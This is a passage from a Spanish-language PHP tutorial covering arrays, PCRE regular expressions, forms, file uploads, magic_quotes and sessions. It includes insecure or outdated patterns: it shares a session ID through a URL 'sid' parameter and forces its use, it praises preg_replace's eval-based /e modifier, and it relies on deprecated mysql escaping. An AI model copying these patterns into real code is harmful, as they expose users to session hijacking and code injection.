$v[coche]="audi";
  
print_r($v);
  
define("coche","moto");
  
$v[coche]="ferrari";
  
print_r($v); 

Array ( [coche] => bmw [moto] => honda ) Array ( [coche] => audi [moto] => honda ) Array ( [coche] => audi [moto] => ferrari )

El ejemplo ilustra como construir un array usando array(). Al mismo tiempo ilustra el peligro de usar constantes como índices de arrays si se usan también sentencias define.

Los arrays multidimensionales no existen como tales, son simplemente arrays de arrays y se manejan así:  
  $a
[8][3][5][3]=22;
  
print_r($a); 

Array ( [8] => Array ( [3] => Array ( [5] => Array ( [3] => 22 ) ) ) )

Parece obvio que los índices de un array son únicos, lo que me puede ser útil. Por ejemplo, para saber qué (y cuántas veces) elementos HTML aparecen en un archivo, puedo usar:  
  preg_match_all
('%<([^/]\w+)%',
      
file_get_contents($_SERVER['SCRIPT_FILENAME']),$mat);
  
$eles=array();
  foreach (
$mat[1] as $ele)
    
$eles[$ele]++;
  
ksort($eles); // si no ordeno, el orden es el de la primera aparición
  
print_r($eles); 

Array ( [ 0] => 2 [?php] => 358 [TH] => 1 [body] => 2 [br] => 122 [center] => 1 [code] => 50 [div] => 158 [font] => 8 [form] => 14 [h1] => 1 [h2] => 1 [h3] => 11 [h4] => 27 [h5] => 44 [h6] => 23 [head] => 1 [html] => 2 [iframe] => 13 [img] => 7 [input] => 48 [li] => 251 [meta] => 3 [ol] => 27 [option] => 18 [pre] => 14 [script] => 3 [select] => 6 [span] => 7 [style] => 1 [table] => 4 [td] => 14 [textarea] => 2 [th] => 2 [title] => 1 [tr] => 8 [tt] => 756 [ul] => 34 [100] => 5 )
La expresión regular no resuelve nuestro propósito del todo. Piensa que sucederá si el texto tiene comentarios HTML. Piensa que sucederá si contiene algo como <?echo 'Hola'; ?>. Idem si contiene PHP que a su vez contiene cadenas HTML.

Un uso del constructor array() es la generación de listas sobre la marcha para ahorrar y dar claridad al código. En el siguiente ejemplo, para añadir más días sólo tengo que modificar el array:  
  setlocale
(LC_TIME,"es_ES");
  
$f=time();
  foreach(array(
"mon" => "cansado",
                
"tue" => "aburrido",
                
"fri" => "contento"
               
) as $d => $que)
    echo 
strftime("El %A %e de %b estaré $que\n",$f=strtotime($d,$f));
    

El Monday 23 de Oct estaré cansado El Tuesday 24 de Oct estaré aburrido El Friday 27 de Oct estaré contento
Dado array('1'=>'Primero','2'=>'Segundo','3'=>'Tercero'), modificarlo alterando sólo el segundo índice, de modo que quede: array('1'=>'Primero','22'=>'Segundo','3'=>'Tercero').
Existen multitud de funciones de manipulación de arrays. Antes de usarlas, lee antentamente su descripción, pues muchas de ellas están concebidas para manejar sólo los valores, alteran los índices (keys) causando resultados indeseados. Por ejemplo, array_multisort o array_merge, si los índices de las matrices son numéricos, los reasignan, y esto, a veces, es indeseado.
Usando funciones de manipulación de arrays, dados dos arrays, averigua si los valores del primer array están contenidos en el segundo.
Sea un array que contiene datos de alumnos de la UJI, del tipo: $als=array (
  'al666666' => 
  array (
    'nom' => 'Javier Grijander Mor',
    'pob' => 'Castelló de la Plana (Castelló)',
    'tel' => '666777888',
    'dni' => '12345678Z',
    'fot' => '/9j/4AAQSkZJRgABAQAAAQABAAD//gA+Q1JFQVRPUjogZ2QtanBlZ1....',
  ), .....);
Escribe un script PHP que a partir de la tabla muestre una página web con los datos de los alumnos en forma de tabla, un alumno por fila, con los campos en columnas y con una leyenda en la cabecera de cada columna que al clicarla ordene por ese campo en orden ascendente o descendete alternativamente. Muestra las imágenes inline con data:image/jpeg;base64,.... Nota: se puede hacer en 13+5 líneas de código.
Modifica el script para que navegadores antiguos puedan visualizar las imágenes.
PCRE ^
Aunque no es un tema propio de PHP, su utilidad es tan grande que voy a dedicarle un apartado. PCRE son las expresiones regulares de Perl. La implementación de la librera PCRE (PHP debe estar compilado con ella) es más eficiente que la propia librería de expresiones regulares de PHP, y más potente.
Expresiones regulares ^
En este apartado no voy a hacer una descripción completa de las expresiones regulares, para eso ya hay mucho manuales, pero ser requiere paciencia para leerlos. Voya tratar de explicar lo mínimo y poner ejemplos útiles.

Una expresión regular es un patrón que describe un conjunto de cadenas sin enumerarlas, es decir que las representa sin especificar cuales son. Por ejemplo: ab?c representa a las cadenas abc y ac. La expresión se contruye con los elementos que integran las cadenas más unos signos (operadores) que las definen. De unos lenguajes de programación a otros la sintaxis cambia bastante, puede haber más o menos signos o ser distinta su interpretación exacta. Básicamente las expresiones se componen de operadores:

  • de agrupamiento: ( y ),
  • de alternación: | y
  • de cuantificación: ? (significa que el anterior elemento puede estar o no presente) y * (el anterior elemento puede estar cero o más veces); también suele disponerse (en PCRE por ejemplo) de + (el anterior elemento puede estar una o más veces).

Otros caracteres tienen significados especiales. Por ejemplo . significa cualquier caracter, normalmete se excluye el cambio de línea (\n), pero en PCRE puede especificarse que también lo incluya. Los signos ^ y $ no se corresponden con ningún caracter, sino que representan posiciones dentro de la cadena, concretamente al inicio y al final. Los signos [ y ] marcan la definición de una clase de caracteres, cambiando el significado de ^ y -.

Todos estos signos y operadores pueden combinarse con cuidado. Por ejemplo si queremos representar sólo las cadenas pan y agua, podemos usar la expresión ^pan|agua$, pero ésta puede representar:

  • ^pan$ o ^agua$ como queremos.
  • ^pan o agua$, es lo que va a representar habitualmente porque | tiene menor pioridad que ^ y $.
  • o para Microsoft (ATL): ^pa(n|a)gua$
Para eliminar la duda en los dos primeros casos, deberíamos escribir ^(pan|agua)$, que funcionará en casi todos las implementaciones de expresiones regulares, excepto para Microsoft, donde deberemos emplear: ^((pan)|(agua))$. En cada lenguaje de programación será necesario conocer exactamente la implementación de las expresiones regulares. En este texto, a partir de aquí nos ceñiremos a PCRE, en la implementación actual de PHP 5. Volviendo al ejemplo, obsérvese la necesidad de ^ y $, porque simplemente escribir pan|agua representaría a infinitas cadenas que contuvieran pan o agua.

Cuando en una expresión se quieren introducir literalmente los citados signos (es decir que no se interpreten como operadores, sino como integrantes de la cadena), es necesario escaparlos, lo que se logra precediéndolos del signo \. Por ejemplo para representra a todas las posibles direcciones de correo dentro de nisu.org y todos sus subdominios (por ejemplo buyer@hony.nisu.org, puedo usar la expresión @.*nisu\.org$. Obsérvese queno es necesario poner .* delante.

La barra \ sirve además para dar significados especiales a otros caracteres, por ejemplo \s significa cualquier cantidad de espacio en blanco (incluído \r y \n), y por ejemplo \b no coincide con ningún caracter pero marca el inicio de una palabra. El tercer uso de la barra \ ya se habrá adivinado, es para indicar caracteres especiales como \r y \n.

Los signos [ y ] marcan conjuntos de caracteres, por ejemplo [A-Z] significa una mayúscula y [A-Z][A-Z_a-z0-9]* significa una mayúscula pero seguida de cero o más mayúsculas, minúsculas, cifras o el caracter _; la expresión [^0-9] significa cualquier caracter excepto cifras.

Las expresiones regulares tienden a coincidir con cadenas lo más largas posibles, es decir que ^.*a en la cadena patata, la letra a coincidirá con la última a. Si queremos que coincida con la primera, debemos usar el signo ? con un nuevo significado, acortar expresiones. Así ^.*?a significa cero o más caracteres pero los menos posibles seguidos de una a. Por ello la cadena representada por ^.*?a sobre patata es realmente pa. Obviamente si la expresión es ^.*?a$, tabién representa a patata, pero esta vez coincide con toda la palabra.

Las expresiones regulares pueden modificar su significado en función de unos modificadores que se indican junto con ella. Normalmente la expresión regular se expresa delimitada por un caracter (por costumbre es la barra /) y a continuación dichos modificadores. El carácter delimitador pierde el significado que pueda tener dentro de la expresión. A partir de ahora las escribiremos así. Modificadores importantes son: s, que significa que el . también coincide con cambios de línea, y m que indica que ^ y $ también coinciden a principio y final de línea (cuando la cadena tiene varias líneas), sin este modificador sólo indican principio y final de cadena.

Con lo que sabemos ahora, vemos algunos ejemplos:

  • /(.*?)^\r?\n(.*)/s aplicada sobre un correo coincide los () con la la cabecera y el cuerpo.
  • /(^|.*/)..-[^/]*$/ aplicada sobre un path completo de archivo representa a un archivo que en la parte del nombre tiene dos caracteres cualesquiera seguidos de un -. Es decir algo como /var/xy-hola o ../zz-tu.php. Obsérvese la necesidad de -[^/]*$ para especificar claramente que debe suceder en el nombre del archivo y no en el directorio, y (^|.*/) asegura que los dos caracteres están al principio del nombre.
  • +^\s*//!\s*\n\s*\$(.*?)(\s*)=(\s*)(.*?)\s*;\s*$+ está delimitada por el signo + por comodidad. Esta expresión coincide con código PHP: la cadena //! sola en una línea, seguida de una asignación PHP, que no debe compartir línea con otras instrucciones, por ejempo:  //!
    $variable="una cadena".
              
    "otra cadena"
                 
  • |<h[0-9][^>]*>.*?</h[0-9]>|s coincide con cabeceras HTML. Obsérvese que fallaría en estos casos: <h3 id=">">Hola</h3> y <h3>Hola</h4>.
    Buscar solución.
  • /__\((('.*?[^\]')|(".*?[^\]"))(,[^)]*)?\)/s. Intenta buscar cadenas de código PHP de la forma: __('Hola') y de la forma __("Hola"), con la posibilidad de llevar un segundo argumento, algo como __('Hola','es').
    Obsérvese que esta expresión se escribiría en PHP como: '/__\(((\'.*?[^\\\]\')|(".*?[^\\\]"))(,[^)]*)?\)/s'.
    Buscar un caso en el que falle.
Expresiones más avanzadas ^
En una expresión, podemos usar referencias hacia atrás del tipo \1, que significa que debe coincidir con lo el primer grupo marcado con (). Por curiosidad, observa que esto va más allá de las expresiones regulares, pues introduce memoria.
Así, para delimitar las cabeceras HTML, podemos mejor usar: |<h([0-9])\s?.*>[^<]*?</h\\1>| que es la solución al ejercicio anteriormente propuesto, aceptando una cabecera de la forma <h1 id=">">Holita</h1>.
Saltar

Mucho más avanzado es el uso de subpatrones de la forma (?loquesea). Su utilidad es muy diversa:

  • Cambiar las opciones: (a(?i)b|c) significa qua apartir de la letra a, la expresión se aplica tanto a mayúsculas como a minúsculas.
  • Eliminar un patron de la cuenta: ((Hola) (mundo)) produce \1 como Hola mundo, \2 como Hola y \3 como mundo. En cambio ((?:Hola) (mundo)) sólo produce \1 como Hola mundo y \2 como mundo.
  • Aserciones. Una aserción no produce coincidencia. Por ejemplo \b es una aserción ya explicada. Pueden construirse aserciones hacia adelante positivas con (?=), negativas con (?!), y si son hacia atrás, con (?<=) y (?<!). Si, por ejemplo, quiero buscar patrones de la forma %xy:% pero que xy no puedan ser las letras ab, uso: %..(?<!ab):%, que significa: un %, seguido de dos caracteres, seguido de : pero que no esté precidido por la pareja ab, seguido de %.
  • Subpatrones condicionales de la forma (?(condición)patrón-si) o (?(condición)patrón-si|patrón-no). Si la condifción se cumple, se usa el patrón-si y si no coincide se usa el patrón-no.
    Piensa una aplicación de los condicionales.
Funciones ^
La función preg_match analiza una cadena contra una expresión regular y devuelve el número de veces que la encuentra, y opcionalmente un array con las coincidencias:  
  preg_match
('%(<(\w+).*?>)([^<]*)(</\2.*?>)%',
    
file_get_contents($_SERVER['SCRIPT_FILENAME']),$mat);
  
print_r($mat);
      
Array ( [0] => <title>Web y PHP</title> [1] => <title> [2] => title [3] => Web y PHP [4] => </title> )

Si queremos todas las coincidencias, no la primera, debemos usar preg_match_all:  
  preg_match_all
('%(<(\w+).*?>)([^<]*)(</\2.*?>)%',
    
file_get_contents($_SERVER['SCRIPT_FILENAME']),$mat);
  
print_r($mat);
      

Array ( [0] => Array ( [0] => <title>Web y PHP</title> [1] => <script type="text/javascript" src="common/style.js"></script> [2] => <script type="text/javascript">selStyl('');</script> ) [1] => Array ( [0] => <title> [1] => <script type="text/javascript" src="common/style.js"> [2] => <script type="text/javascript"> ) [2] => Array ( [0] => title [1] => script [2] => script ) [3] => Array ( [0] => Web y PHP [1] => [2] => selStyl(''); ) [4] => Array ( [0] => </title> [1] => </script> [2] => </script> ) )

Quizá el orden devuelto, no es el que interesa, puedo establecerlo de otro modo:  
  preg_match_all
('%(<(\w+).*?>)([^<]*)(</\2.*?>)%',
    
file_get_contents($_SERVER['SCRIPT_FILENAME']),$mat,PREG_SET_ORDER);
  
print_r($mat);
      

Array ( [0] => Array ( [0] => <title>Web y PHP</title> [1] => <title> [2] => title [3] => Web y PHP [4] => </title> ) [1] => Array ( [0] => <script type="text/javascript" src="common/style.js"></script> [1] => <script type="text/javascript" src="common/style.js"> [2] => script [3] => [4] => </script> ) [2] => Array ( [0] => <script type="text/javascript">selStyl('');</script> [1] => <script type="text/javascript"> [2] => script [3] => selStyl(''); [4] => </script> ) )

La función preg_replace reeemplaza un patrón por una cadena en otra cadena. La expresión regular y la cadena de reemplazo pueden ser de tipo array y equivale a aplicar preg_replace iterativamente. En la cadena de reemplazo podemos emplear \1, \2, etc. para hacer referencia a las zonas marcadas con ().

Veamos algunos ejemplos. Dado $y con el texto:  
 
// %es%: Esto es un comentario
 // %en%: This is a comment
 // %fr%: Ici un commentaire
 
Podemos eliminar todos los comentarios excepto uno con la sentencia:  
  $lg
="es";
  echo 
preg_replace(array("#^[ \t]*//[ \t]+%..(?<!$lg)%:[ \t].*\n#m",
                          
"#^([ \t]*//[ \t]+)%$lg%:[ \t]+#m"),
                    array(
"","\\1"),$y);

 
 
// Esto es un comentario
 
Simplificar la sentencia cambiando el orden.
Saltar

Un modificador espectacular aplicable a preg_replacees /e, que significa: una vez sustituído, evalúalo, es decir que la cadena de reemplazo debe generar código php válido que después se interpreta y ejecuta (evalúa). Por ejemplo, dado que php no dispone de función para codificar en quoted-printable, podemos hacerlo así:  
  
echo preg_replace('/[^\x21-\x3C\x3E-\x7E\x09\x20]/e',
                    
'sprintf( "=%02x", ord ( "$0" ) ) ;',
                    
"Hola campeón,\n¿qué tal te va?");

Observa la necesidad del ; al final del sprintf.

PCRE no siempre funciona como parece. Observemos esta instrucción:  preg_match('+(a)(.*?)(b)(.*?)(c)+s','hola12a33a.b.c',$m); print_r($m); 

Array ( [0] => a12a33a.b.c [1] => a [2] => 12a33a. [3] => b [4] => . [5] => c )
Lo que pretendía era sacar las expresiones 2 y 4 lo más cortas posibles y no lo son. En cambio:  preg_match('+.*(a)(.*?)(b)(.*?)(c)+s','hola12a33a.b.c',$m); print_r($m); 
Array ( [0] => hola12a33a.b.c [1] => a [2] => . [3] => b [4] => . [5] => c )
Sí que produce el resultado esperado.

A veces la expresión regular no es constante sino variable, es decir, algo como:   preg_match('/(<img[^>]*src=)"?'.$f.'"?/',$html);

En este caso, si $f contiene una barra /, la expresión regular deja de ser válida. Podría usar otro caracter para delimitar la expresión regular, pero no adelanto nada, en tanto que puede contener puntos, por ejemplo. El problema se resuelve usando preg_quote, que "escapa" los caracteres especiales:   preg_match('/(<img[^>]*src=)"?'.preg_quote($f,'/').'"?/',$html);

Interacción con el web ^

Un programa PHP puede ser cargado desde el servidor apache vía el mecanismo CGI o de forma nativa, cuando PHP está integrado en apache. El comportamiento de PHP para el programador es el mismo, por lo que la decisión de cómo invocar PHP queda en manos del administrador del Web en función de sus necesidades. El programador simplemente tiene que saber cómo invocar el intérprete PHP y esto se consigue simplemente vía nomenclatura: basta con dotar de la extensión .php al nombre del archivo para que el servidor web sepa que tiene que pasarlo por el intérprete PHP.
Variables predefinidas ^
PHP dispone de una serie de variables predefinidas que permiten interaccionar cómodamente con el entorno web. Estas variables se denominan superglobales, en tanto que son globales, pero no requieren definirse como tales dentro de las funciones. ¡Ojo! no pueden ser usadas con $$. Veamos las más importantes:
  • $_SERVER contiene las variables que el servidor define, algunas muy interesnates como $_SERVER['SCRIPT_NAME'], que es la URL parcial de nuestro script o $_SERVER['HTTP_HOST'] que es el nombre de nuestro servidor:  
      
    echo "Mi URL: http://{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']}<br>";
      echo 
    "Tu IP: {$_SERVER['REMOTE_ADDR']} o {$_SERVER['HTTP_X_FORWARDED_FOR']}"
    Mi URL: http://doc.nisu.org/web.php
    Tu IP: 54.166.199.178 o
  • $_GET y $_POST contienen lo que el script recibe por GET o por POST respectivamente. Cuando hablemos de los formularios veremos numerosos ejemplos.
  • $_REQUEST es la combinación de $_GET y $_POST.
  • $_ENV es el entorno del programa.
  • $_SESSION: variables de sesión, la trataremos como un caso especial.
La instalación ^
PHP dispone de una extensa colección de parámetros de instalación. Estos parámetros se determinan en el archivo php.ini (y según instalaciones, en los archivos del directorio php.d). En tiempo de ejecución, pueden determinarse mediante la función ini_get y algunas, en función de privilegios o tipo de variable, modificarse con ini_set. En general podemos confiar en que la instalación en que ejecutamos nuestro script es la estándar, pero si esperamos que nuestro script funcione en múltiples plataformas, debemos ser extremadamente cuidadosos.

Es interesante hacer notar que PHP puede usarse desde línea de comando. Los arrays $argc y $argv están disponibles para acceder a los parámetros.

Formularios ^
Los formularios son el elemento básico de interacción con el usuario en la programación web clásica. Un formulario tiene el aspecto:
  <form method="post" action="procform.php">
    Escribe: <input name="prueba" value="pre escrito">
    <input type=submit name="env" value="Enviar">
  </form>
  
El formulario no es más que HTML que el navegador muestra de una forma que permite interacción con el usuario:
Escribe:
El usuario rellena el formulario y cuando lo envía, los datos contenidos en el formulario se envían a la URL especificada en el atributo action. En este ejemplo, los datos son recibidos por procform.php, que simplemente contiene: <?
  
echo '<xmp>';
  
print_r($_POST);
  echo 
'</xmp>';
?>
El resultado (pulsa el botón en el formulario anterior para verlo) es:

Prestemos atención a ciertas cuestiones:

  • El formulario puede enviarse pulsando intro. En ese caso, el navegador enviará los mismos campos. Pero, si hay más de un botón submit (puede ser interesante para realizar operaciones distintas) se enviará el primero de ellos. Si hay varios botones submit, y se pulsa uno de ellos, el navegador sólo envía el pulsado.
  • El array $_POST contiene los campos del formulario que PHP recibe del navegador. Si se enviaran mediante el método GET, estarían en el array $_GET. Existe un array $_REQUEST que equivale a la unión de ambos y es muy correcto emplearlo.
  • El atributo value de un campo contiene el valor que se envía. Si en el HTML ya hay un valor pre-cargado, el navegador nos lo muestra. Hay que ser cuidadoso en que no contenga el carácter " para no generar un HTML incorrecto.
  • Si varios campos tiene el mismo nombre, o hay un campo de tipo select multiple, el navegador enviará el mismo nombre de campo varias veces, con sus respectivos valores. PHP sólo cogerá el último, a no ser que tomemos preacauciones, como explicaré a continuación.
El siguiente ejemplo resume lo explicado:
  <form method="post" action="procform.php">
    Escribe: <input name="prueba" value="pre&quot;escrito">
    <input name="prueba" value="otro igual">
    <select name=multi multiple size=4>
    <option>1<option>2<option>3<option>4<option>5<option>6
    </select>
    <input type=submit name="env" value="Enviar">
    <input type=submit name="env2" value="Enviar también">
    <input type=hidden name=malsecreto value="oculto">
  </form>
Escribe:

Para resolver el problema de los nombres iguales (que, insisto, es un problema de PHP, no del navegador) debemos adaptar el HTML y llamar a los campos repetidos como si fueran arrays. Obviamente para el HTML no son arrays, pero PHP sí que los interpretará como tales:
  <form method="post" action="procform.php">
    Escribe: <input name="prueba[]" value="pre&quot;escrito">
    <input name="prueba[]" value="otro igual"><br>
    <input name="con_indice[33]"><input name="con_indice[66]">
    <select name="multi[]" multiple size=4>
    <option>1<option>2<option>3<option>4<option>5<option>6
    </select>
    <input type=submit name="env" value="Enviar">
  </form>

Escribe:

Obsérvese lo antiestético del formulario.

El aprendizaje del procesado de formularios se completa necesariamente leyendo aquí .

Subida de archivos ^
Un formulario puede incluir campos de tipo file, mediante los cuales el usuario podrá enviar ("subir") archivos locales al servidor:
  <form enctype="multipart/form-data" method="post" action="cojearchivo.php">
  <input type="hidden" name="MAX_FILE_SIZE" value="10000">
  Elige el archivo que quieres enviar: <input type=file name=fich>
  y <input type=submit value="envíalo">
  </form>

Notemos que el formulario debe llevar codificación multipart/form-data (la codificación por defecto de los formularios es application/x-www-form-urlencoded, que envía los datos en codificación urlencoded, muy ineficiente para grandes volúmenes). El método debe ser necesariamente POST.

PHP es capaz de interpretar la codificación multipart/form-data, de modo que el programador no nota diferencia en lo que encuentra en $_POST respecto a un formulario "normal". Pero el campo input de tipo file no es almacenado en la variable $_POST, pues un archivo grande desbordaría la memoria (realmente, versiones antiguas de PHP cargaban el archivo enviado en memoria antes de procesarlo, esto ha sido corregido en las versiones actuales). En su lugar, la variabe $_FILES contiene lo que necesitamos. Desafortunadamente los navegadores no suelen incluir barras de progreso del envío del archivo, por lo que envíos grandes suelen desesperar al usuario. El campo oculto de nombre MAX_FILE_SIZE debería ser interpretado por el navegador para no dejar enviar archivos de un tamaño mayor. Obviamente esto no debe usarse con propósitos de seguridad, pues el navegador puede no hacer caso o el usuario modificar el HTML. PHP tiene su propio límite de tamaño de archivo admitido, que es un límite insalvable y puede obtenerse mediante ini_get. Éste límite debe ser menor que el límite establecido para un POST:  
    
echo "El tamaño máximo de archivo en este servidor es ".ini_get("upload_max_filesize")."\n";
    echo 
"El POST más grande posible es ".ini_get("post_max_size"); 

El tamaño máximo de archivo en este servidor es 200M El POST más grande posible es 800M

Probemos el ejemplo:

Elige el archivo que quieres enviar: y

El archivo es recibido por cojearchivo.php que contiene: <?
  
echo '<pre>';
  
print_r($_FILES);
  echo 
'</pre>';
?>

Y produce:

Observamos que la variable $_FILES contiene información del archivo recibido, indexada por el nombre del campo (en este caso fich). Nos suministra el nombre original (name), el tipo MIME del archivo (type), el nombre con que se ha grabado en el servidor (tmp_name), el posible error, y el tamaño del archivo. Con esta información, lo habitual será comprobar si el tamaño esta en los límites esperados, si es de un tipo esperado, y en ese caso cambiarlo de ubicación y probablemente de nombre, con la función move_uploaded_file. Es importante hacer notar que el nombre original del archivo debería usarse sólo como dato informativo, no debería renombrarse el archivo recibido a su nombre original, pues puede ser incompatible con el sistema de archivos o producir problemas de seguridad graves.

Este podría ser un uso normal:  
  
foreach ($_FILES as $cmp => $fic) {
    if (
$fic["size"] > 100000) {
      echo 
"Tamaño de archivo (campo $cmp) excesivo";
      continue;
    }
    if (
substr($fic["type"],0,6) != "image/") {
      echo 
"Esperaba una imagen en el campo $cmp";
      continue;
    }
    
$minombre=strftime("Archivo_subido_el_%Y_%m_%d_%H_%M");
    if (!
move_uploaded_file($fic["tmp_name"],"midirectorio/$minombre"))
      echo 
"Algo ha pasado con el archivo del campo $cmp";
  }

Este ejemplo tiene al menos 3 errores, encuéntralos. Uno es una confusión. Otro se produce al subir más de un archivo. ¿Sería conveniente usar $cmp para resolverlo? El tercero sucede si varios usuarios suben a la vez.
Saltar
Las barras de progreso al enviar archivos pueden construirse usando Macromedia flash y empleando su propio POST, no el del navegador. Con el propio navegador, podríamos hacerlo con ajax, o incluso más sencillo, pero realmente no es posible por culpa de PHP: la ejecución del script PHP no comienza hasta que el archivo ha llegado. Para superar este problema, hay quien introduce un script en Perl intermedio que es quien recibe el archivo (es el action del formulario), construye la barra de progreso, la envía al cliente y al finalizar la recepción del archivo lo envía al script PHP. Otra forma de hacerlo es mediante una extensión de PHP disponibe para PHP 5 enominada APC que se espera sea incluida en breve en PHP de forma nativa.
Crea un formulario para enviar varios ficheros, pero usa [] en el nombre de los campos y observa como repercute en el array $_FILES.
Sobre campos de entrada ^
Hasta la versión 5.4 de PHP estaba disponible una directiva de instalación (php.ini) denominada magic_quotes_gpc. Teóricamente se introdujo por motivos de seguridad y estuvo habilitada por defecto hasta PHP4. Ahora su presencia en la configuración no produce error, pero es ignorada. Todos los programas escritos confiando en esta directiva, al pasarlos a PHP5.4 funcionan incorrectamente probablemente con graves problemas de seguridad.

En el siguiente ejemplo, si pulsamos Continuar repetidas veces, vemos que se produce lo esperado. <?
  $v
=$_GET['test'] or $v="'";
  echo 
'<form>'.
       
"<input name=test value=\"$v\">".
       
'<input type=submit value=Continuar>'.
       
'</form>';
?>

Pulsa Continuar repetidas veces:

PHP no escapa la comilla ' porque en este servidor no está activo magic_quotes_gpc. Si lo estuviera a $v se le asignaría \'.

Cuando sí aparece un problema, es si tecleamos una comilla doble " y pulsamos Continuar: La comilla doble " es el delimitador del atributo value, por lo que desaparece del campo input (y aún gracias que el navegador no se arma un lío al ver 3 comillas dobles), pruébalo.

Para resolver esto, veamos este ejemplo: <?
  $v
=$_GET['test'] or $v="'\"";
  if (
get_magic_quotes_gpc())
    
$v=stripslashes($v);
  
// aquí podríamos hacer algo con el valor correcto de $v
  // en algunos casos deberíamos usar addslashes
  
echo '<form>'.
       
'<input name=test value="'.htmlspecialchars($v,ENT_COMPAT,'ISO-8859-1').'">'.
       
'<input type=submit value=Continuar>'.
       
'</form>';
?>

Si PHP tiene activado el escapado automático (nos informa get_magic_quotes_gpc()), eliminamos las antibarras com stripslashes. Ahora tenemos $v con el valor que deseamos que tenga. Si ahora, por ejemplo tuvieramos que insertar el valor de $v en una base de datos, deberíamos de escaparlo de nuevo, con la función addslashes o mysql_real_escape_string.

Después cuando queremos mostrar de nuevo el valor de $v en el campo input, debemos prepararla para compatibilizarla con HTML, para lo cual empleamos htmlspecialchars o htmlentities.

PHP realiza a veces cambios en los nombres de los campos, esto sucede cuando, por ejemplo, el campo se denomina a.b, que es renombrado a a_b. Un caso muy importantes es cuando el nombre del campo es de la forma a[b][c]. Para el HTML esto es un nombre sin más, pero PHP interpreta los [] como selectores de un array, de modo que genera un array a que contiene un elemento con un índice b, elemento que a su vez es un array con un elemto cuyo valor es el valor del campo y su índice es c.

Un caso especialmente curioso es el de los campos de tipo image. Son botones mostrados como una imagen que realmente envían el formulario. El propio botón envía las coordenadas x e y donde se ha clicado en la imagen. El atributo value del campo no debe usarse, pues los navegadores IExplorer y Opera lo ignoran, ya que el estándar no se pronuncia sobre ello. Las coordenadas se envían con un punto y PHP lo cambia por un _. Curiosamente si el nombre del campo tiene forma de array, PHP ignora las coordandas, no permitiendo obtenerlas, pero sí permite compatibilizar fácilmente la aplicación con un botón de tipo submit, es decir que PHP en este caso trata igual al tipo submit que al tipo image. Veamos un ejemplo: <?
?>
<xmp>
<?
  print_r
($_POST);
?>
</xmp>
<form method=post>
  <table>
  <tr><td align=right>Nombre transformado:
      <td><input name="punto.cambiado" value=dummy>
  <tr><td align=right>Un array típico:
      <td><input name="algo[indice]" value=dummy>
  <tr><td align=right>Array cambiado y anidado:
      <td><input name="otro.array[indice][otroindice]" value=dummy>
  <tr><td align=right>Imagen sin nombre ni valor:
      <td><input align=absmiddle type=image src="common/dwnl.gif">
  <tr><td align=right>Imagen con nombre sin valor:
      <td><input align=absmiddle name=boton type=image src="common/dwnl.gif">
  <tr><td align=right>Imagen con nombre tipo array sin valor:
      <td><input align=absmiddle name="boton[a][b]" type=image src="common/dwnl.gif">
  <tr><td align=right>Imagen con nombre con valor:
      <td><input align=absmiddle value="valor" name=boton type=image src="common/dwnl.gif">
  <tr><td align=right>Imagen con nombre tipo array con valor:
      <td><input align=absmiddle value="valor" name="boton[a][b]" type=image src="common/dwnl.gif">
  </table>
</form>
Es interesante probar los últimos botones con diversos navegadores.

Sesiones ^
Descripción
La sesión php se almacena normalmente en un archivo temporal en el que se almacena serializada la información que se mantiene en la sesión. Las sesiones funcionan preferentemente con cookies: la cookie indica el nombre de la sesión que coincide con el del archivo donde se guardan los datos. Este nombre es suficientemente largo y alearotio. La sesión se inicia con:  
  session_start
();
            
Su misión es establecer el nmbre de sesión y leer los datos si la sesión ya existe y si no, lanzar la cookie. Por esta razón debe llamarse siempre antes de que el programa escriba nada por el output.
Para almacenar datos, debe usarse exclusivamente el array $_SESSION, no debe usarse session_register que sólo existe por compatibilidad. Por ejemplo:  
  $_SESSION
['nombre']='Lucas';
    
almacena un dato que podemos consultar en otra ejecución del programa. Un ejemplo muy sencillo: <?
  session_start
();
  
$_SESSION['cont']++;
  echo 
'<meta name="robots" content="noindex">Contador: '.$_SESSION['cont'].
       
' - <a href="?dum='.rand().'">incrementar</a>';
?>
Saltar
Uso avanzado
Voy a enfocar este apartado en forma de FAQ. Para más información, leer el manual.
  • ¿Cuánto duran las sesiones?
    Los archivos de sesion se borran periódicamente si están en la ubicación estándar. Normalmente un cron borra las que llevan cierto tiempo sin usarse (gc_maxlifetime), pero además está el límite cache_expire y la pareja gc_divisor+gc_probability. Si estos valores se quieren cambiar para un script en concreto es necesario cambiar el path para no interferir con otros scripts, usando session_save_path.
  • ¿Por qué cuando uso sesiones no puedo abrir simultáneamente varias instancias de una página? ^
    El uso de sesiones establece una región crítica: dos programas no pueden estar modificando la sesión al mismo tiempo, se crearían incoherencias. La llamada a session_start abre el archivo de sessión, lo lee y los bloquea hasta que se acaba el programa. Si queremos desbloquearlo, podemos llamar a session_write_close que escribe, cierra y desbloquea la sesión. Por ejemplo en una página de descargas lentas que requiera autenticación, si se usan sesiones, puede cerrarse la sesión justo antes de la descarga:  
      
    if (!$_SESSION['autenticado']) {
        ... 
    autenticar ...
      }
      else {
        
    // autenticado
        
    session_write_close();
        
    readfile("Fichero descarga");
      }
        
  • ¿Cómo puedo usar una sessión existente? ^
    Puede usarse el parámetro PHPSESSID= en la URL. Esto puede crear problemas, por ejemplo porque sólo cambia la sesión en esa invocación. Podemos controlarlo nosotros, según la situación. Por ejemplo tengo las páginas http://una.com y http://otra.com en un mismo servidor y quiero compartir la sesión: puedo poner un enlace en la primera que apunte a la otra según:  
      
    echo '<br>Más información <a href="http://otra.com/?sid='.
             
    session_id().'">aquí</a>';
        
    Y en la segunda página forzar el uso de esa sessión:  
      
    if ($sid=$_GET['sid']) {
        
    session_id($sid);
        
    session_start();
        
    // limpia la URL
        
    header("Location: ?");
        die();
      }
        
Un ejemplo más de uso avanzado de sesiones puede verse aquí.
Codificación ^
Uno de los problemas de la portabilidad de nuestro proyecto es la codificación de caracteres. Si nuestro proyecto está integralmente en inglés, probablemente no tengamos problemas, pero si está por ejemplo en castellano, aparecerán en el texto y en los datos caracteres que no están contemplados en el código ASCII. Este código sólo es de 7 bit, por lo que sólo contempla 128 caracteres, que no incluyen caracteres acentuados, eñes, etc. Para poder incluir caracteres como los mencionados, podemos emplear los otros 128 caracteres que caben en un byte, tomando una de las "ampliaciones" del código ASCII definidas por ISO. En el caso de usar caracteres "latinos", podemos emplear la tabla ISO-8859-1, que es por ejemplo con la que se ha escrito este documento. Una alternativa mejor, especialmente si se van a usar caracteres de muchos idiomas diferentes, es usar UTF-8, que codifica los caracteres especiales en más de un byte.

